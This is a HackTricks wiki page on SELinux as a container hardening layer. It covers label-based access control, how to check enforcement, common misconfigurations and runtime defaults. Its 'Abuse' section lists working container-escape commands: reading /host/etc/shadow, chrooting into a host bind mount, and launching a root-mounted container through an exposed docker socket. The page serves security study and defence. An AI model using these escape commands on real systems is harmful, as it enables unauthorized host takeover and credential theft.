selinux.md (10649B)
1 --- 2 title: "SELinux" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/protections/selinux.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/protections/selinux.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SELinux 14 15 ## Overview 16 17 SELinux is a **label-based Mandatory Access Control** system. Every relevant process and object may carry a security context, and policy decides which domains may interact with which types and in what way. In containerized environments, this usually means that the runtime launches the container process under a confined container domain and labels the container content with corresponding types. If the policy is working properly, the process may be able to read and write the things its label is expected to touch while being denied access to other host content, even if that content becomes visible through a mount. 18 19 This is one of the most powerful host-side protections available in mainstream Linux container deployments. It is especially important on Fedora, RHEL, CentOS Stream, OpenShift, and other SELinux-centric ecosystems. In those environments, a reviewer who ignores SELinux will often misunderstand why an obvious-looking path to host compromise is actually blocked. 20 21 ## AppArmor Vs SELinux 22 23 The easiest high-level difference is that AppArmor is path-based while SELinux is **label-based**. That has big consequences for container security. A path-based policy may behave differently if the same host content becomes visible under an unexpected mount path. A label-based policy instead asks what the object's label is and what the process domain may do to it. This does not make SELinux simple, but it does make it robust against a class of path-trick assumptions that defenders sometimes accidentally make in AppArmor-based systems. 24 25 Because the model is label-oriented, container volume handling and relabeling decisions are security-critical. If the runtime or operator changes labels too broadly to "make mounts work", the policy boundary that was supposed to contain the workload may become much weaker than intended. 26 27 ## Lab 28 29 To see whether SELinux is active on the host: 30 31 ```bash 32 getenforce 2>/dev/null 33 sestatus 2>/dev/null 34 ``` 35 36 To inspect existing labels on the host: 37 38 ```bash 39 ps -eZ | head 40 ls -Zd /var/lib/containers 2>/dev/null 41 ls -Zd /var/lib/docker 2>/dev/null 42 ``` 43 44 To compare a normal run with one where labeling is disabled: 45 46 ```bash 47 podman run --rm fedora cat /proc/self/attr/current 48 podman run --rm --security-opt label=disable fedora cat /proc/self/attr/current 49 ``` 50 51 On an SELinux-enabled host, this is a very practical demonstration because it shows the difference between a workload running under the expected container domain and one that has been stripped of that enforcement layer. 52 53 ## Runtime Usage 54 55 Podman is particularly well aligned with SELinux on systems where SELinux is part of the platform default. Rootless Podman plus SELinux is one of the strongest mainstream container baselines because the process is already unprivileged on the host side and is still confined by MAC policy. Docker can also use SELinux where supported, although administrators sometimes disable it to work around volume-labeling friction. CRI-O and OpenShift rely heavily on SELinux as part of their container isolation story. Kubernetes can expose SELinux-related settings too, but their value obviously depends on whether the node OS actually supports and enforces SELinux.<sup>[[2]](#references)</sup> 56 57 The recurring lesson is that SELinux is not an optional garnish. In the ecosystems that are built around it, it is part of the expected security boundary. 58 59 ## Misconfigurations 60 61 The classic mistake is `label=disable`. Operationally, this often happens because a volume mount was denied and the quickest short-term answer was to remove SELinux from the equation instead of fixing the labeling model.<sup>[[1]](#references)</sup> Another common mistake is incorrect relabeling of host content. Broad relabel operations may make the application work, but they can also expand what the container is allowed to touch far beyond what was originally intended. 62 63 It is also important not to confuse **installed** SELinux with **effective** SELinux. A host may support SELinux and still be in permissive mode, or the runtime may not be launching the workload under the expected domain. In those cases the protection is much weaker than the documentation might suggest. 64 65 ## Abuse 66 67 When SELinux is absent, permissive, or broadly disabled for the workload, host-mounted paths become much easier to abuse. The same bind mount that would otherwise have been constrained by labels may become a direct avenue to host data or host modification. This is especially relevant when combined with writable volume mounts, container runtime directories, or operational shortcuts that exposed sensitive host paths for convenience. 68 69 SELinux often explains why a generic breakout writeup works immediately on one host but fails repeatedly on another even though the runtime flags look similar. The missing ingredient is frequently not a namespace or a capability at all, but a label boundary that stayed intact. 70 71 The fastest practical check is to compare the active context and then probe mounted host paths or runtime directories that would normally be label-confined: 72 73 ```bash 74 getenforce 2>/dev/null 75 cat /proc/self/attr/current 76 find / -maxdepth 3 -name '*.sock' 2>/dev/null | grep -E 'docker|containerd|crio' 77 find /host -maxdepth 2 -ls 2>/dev/null | head 78 ``` 79 80 If a host bind mount is present and SELinux labeling has been disabled or weakened, information disclosure often comes first: 81 82 ```bash 83 ls -la /host/etc 2>/dev/null | head 84 cat /host/etc/passwd 2>/dev/null | head 85 cat /host/etc/shadow 2>/dev/null | head 86 ``` 87 88 If the mount is writable and the container is effectively host-root from the kernel's point of view, the next step is to test controlled host modification rather than guessing: 89 90 ```bash 91 touch /host/tmp/selinux_test 2>/dev/null && echo "host write works" 92 ls -l /host/tmp/selinux_test 2>/dev/null 93 ``` 94 95 On SELinux-capable hosts, losing labels around runtime state directories can also expose direct privilege-escalation paths: 96 97 ```bash 98 find /host/var/run /host/run -maxdepth 2 -name '*.sock' 2>/dev/null 99 find /host/var/lib -maxdepth 3 \( -name docker -o -name containers -o -name containerd \) 2>/dev/null 100 ``` 101 102 These commands do not replace a full escape chain, but they make it clear very quickly whether SELinux is what was preventing host data access or host-side file modification. 103 104 ### Full Example: SELinux Disabled + Writable Host Mount 105 106 If SELinux labeling is disabled and the host filesystem is mounted writable at `/host`, a full host escape becomes a normal bind-mount abuse case: 107 108 ```bash 109 getenforce 2>/dev/null 110 cat /proc/self/attr/current 111 touch /host/tmp/selinux_escape_test 112 chroot /host /bin/bash 2>/dev/null || /host/bin/bash -p 113 ``` 114 115 If the `chroot` succeeds, the container process is now operating from the host filesystem: 116 117 ```bash 118 id 119 hostname 120 cat /etc/passwd | tail 121 ``` 122 123 ### Full Example: SELinux Disabled + Runtime Directory 124 125 If the workload can reach a runtime socket once labels are disabled, the escape can be delegated to the runtime: 126 127 ```bash 128 find /host/var/run /host/run -maxdepth 2 -name '*.sock' 2>/dev/null 129 docker -H unix:///host/var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash 2>/dev/null 130 ctr --address /host/run/containerd/containerd.sock images ls 2>/dev/null 131 ``` 132 133 The relevant observation is that SELinux often was the control preventing exactly this kind of host-path or runtime-state access. 134 135 ## Checks 136 137 The goal of the SELinux checks is to confirm that SELinux is enabled, identify the current security context, and see whether the files or paths you care about are actually label-confined. 138 139 ```bash 140 getenforce # Enforcing / Permissive / Disabled 141 ps -eZ | grep -i container # Process labels for container-related processes 142 ls -Z /path/of/interest # File or directory labels on sensitive paths 143 cat /proc/self/attr/current # Current process security context 144 ``` 145 146 What is interesting here: 147 148 - `getenforce` should ideally return `Enforcing`; `Permissive` or `Disabled` changes the meaning of the whole SELinux section. 149 - If the current process context looks unexpected or too broad, the workload may not be running under the intended container policy. 150 - If host-mounted files or runtime directories have labels that the process can access too freely, bind mounts become much more dangerous. 151 152 When reviewing a container on an SELinux-capable platform, do not treat labeling as a secondary detail. In many cases it is one of the main reasons the host is not already compromised. 153 154 ## Runtime Defaults 155 156 | Runtime / platform | Default state | Default behavior | Common manual weakening | 157 | --- | --- | --- | --- | 158 | Docker Engine | Host-dependent | SELinux separation is available on SELinux-enabled hosts, but the exact behavior depends on host/daemon configuration | `--security-opt label=disable`, broad relabeling of bind mounts, `--privileged` | 159 | Podman | Commonly enabled on SELinux hosts | SELinux separation is a normal part of Podman on SELinux systems unless disabled | `--security-opt label=disable`, `label=false` in `containers.conf`, `--privileged` | 160 | Kubernetes | Not generally assigned automatically at Pod level | SELinux support exists, but Pods usually need `securityContext.seLinuxOptions` or platform-specific defaults; runtime and node support are required | weak or broad `seLinuxOptions`, running on permissive/disabled nodes, platform policies that disable labeling | 161 | CRI-O / OpenShift style deployments | Commonly relied on heavily | SELinux is often a core part of the node isolation model in these environments | custom policies that over-broaden access, disabling labeling for compatibility | 162 163 SELinux defaults are more distribution-dependent than seccomp defaults. On Fedora/RHEL/OpenShift-style systems, SELinux is often central to the isolation model. On non-SELinux systems, it is simply absent. 164 165 ## References 166 167 - [1] [Podman Documentation: --security-opt=option (label=disable)](https://docs.podman.io/en/v4.6.0/markdown/options/security-opt.html) 168 - [2] [Kubernetes: Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)